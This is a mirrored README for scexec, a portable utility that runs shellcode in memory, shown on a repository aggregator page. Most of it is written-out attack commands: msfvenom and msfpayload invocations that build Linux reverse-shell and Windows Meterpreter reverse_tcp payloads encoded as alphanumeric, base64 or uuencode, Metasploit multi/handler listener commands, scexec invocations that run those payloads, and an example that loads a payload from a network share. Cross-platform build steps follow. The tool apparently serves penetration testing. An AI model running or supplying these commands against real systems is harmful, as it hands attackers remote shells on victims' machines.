scexec

KO | EN

gitlite — search

#javascript #hacktoberfest #ai #typescript #llm #golang #go #machine-learning #docker #macos #nodejs #vue #pytorch #mcp

(★ 18)

Portable utility to execute in memory a sequence of opcodes

scexec Latest Version Download

Download Latest Version (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

[![Build Status](https://travis-ci.org/kost/scexec.png)](https://travis-ci.org/kost/scexec)

scexec
======

Portable utility to execute in memory a sequence of opcodes

Features
========

- Linux/Windows/Mac support
- Visual C/C++, gcc, mingw32/mingw64 support
- Raw/Alphanumeric/Base64/UUdecode support
- Commandline argument/File support

Examples
========

## Linux target

$ msfvenom -p linux/x86/shell_reverse_tcp -a x86 --platform linux -e x86/alpha_mixed -f raw LHOST=192.168.1.1 LPORT=4444 EXITFUNC=thread BufferRegister=EAX
    $ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
    $ ./scexec <msfencode's alphanumeric-encoded payload>

## Windows target

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -e x86/alpha_mixed -f raw LHOST=192.168.1.1 LPORT=4444 EXITFUNC=thread BufferRegister=EAX
    msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 E
    C:\> scexec.exe <msfencode's alphanumeric-encoded payload>

## Windows target with base64

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -f raw LHOST=192.168.1.1 LPORT=4444 EXITFUNC=thread | perl utils/base64encode.pl
    msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 E
    C:\> scexec.exe b <msfpayload-base64encoded-payload>

## Linux target with uudecode/uuencode

$ msfvenom -p linux/x86/shell_reverse_tcp -a x86 --platform linux -f raw LHOST=192.168.1.1 LPORT=4444 EXITFUNC=thread | perl utils/uuencode.pl
    $ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
    $ ./scexec u <msfpayload-uuencoded-payload>

## Few more quick examples

Read and execute payload from filename msfpayloadfn.raw:

C:\> scexec.exe f msfpayloadfn.raw

Read and execute base64 encoded payload from filename msfpayloadfn.base64:

C:\> scexec.exe fb msfpayloadfn.base64

Read and execute uuencoded payload from share:

C:\> \\192.168.1.1\\scexec.exe fu \\192.168.1.1\\msfpayload.uuencoded

Options explained
=================

Options can be combined:

no options - read alphanumeric shellcode from commandline

a - execute shellcode through call eax/rax

f - read shellcode from file

b - treat input shellcode as base64 encoded

u - treat input shellcode as uuencoded shellcode

Building
========

### Linux/Mac/POSIX builds

Just type:

make

### Mingw builds:

32 bit:

make CC=i686-w64-mingw32-gcc STRIP=i686-w64-mingw32-strip OUT=scexec32.exe

64 bit:

make CC=x86_64-w64-mingw32-gcc STRIP=x86_64-w64-mingw32-strip OUT=scexec64.exe

### Visual Studio:

32 bit:

nmake /f Makefile.vc

64 bit:

nmake /f Makefile.v64

### Builds

make CC=i386-mingw32-gcc STRIP=i386-mingw32-strip OUT=../bin/scexec-win32.exe
    make CC=i686-w64-mingw32-gcc STRIP=i686-w64-mingw32-strip OUT=../bin/scexec-win32c.exe
    make CC=x86_64-w64-mingw32-gcc STRIP=x86_64-w64-mingw32-strip OUT=../bin/scexec-win64.exe
    make CC=gcc STRIP=strip OUT=../bin/scexec-macosx-x64-dyn.bin
    make CC=armeb-linux-gcc STRIP=armeb-linux-strip CFLAGS=-static OUT=../bin/scexec-armeb-linux.bin
    make CC=arm-linux-gcc STRIP=arm-linux-strip CFLAGS=-static OUT=../bin/scexec-arm-linux-static.bin
    make CC=mips-linux-gcc STRIP=mips-linux-strip CFLAGS=-static OUT=../bin/scexec-mips-linux-static.bin
    make CC=mipsel-linux-gcc STRIP=mipsel-linux-strip CFLAGS=-static OUT=../bin/scexec-mipsel-linux-static.bin

Old MSF Examples
================

## Linux target

$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
    $ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
    $ ./scexec <msfencode's alphanumeric-encoded payload>

## Windows target

msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
    msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 E
    C:\> scexec.exe <msfencode's alphanumeric-encoded payload>

## Windows target with base64

msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 R | perl utils/base64encode.pl
    msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 E
    C:\> scexec.exe b <msfpayload-base64encoded-payload>

## Linux target with uudecode/uuencode

$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 R | perl utils/uuencode.pl
    $ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
    $ ./scexec u <msfpayload-uuencoded-payload>

Credits
=======

Vlatko Kosturjak

Based on Bernardo Damele A. G. shellcodeexecute

scexec

scexec Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

scexec

scexec Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

Download README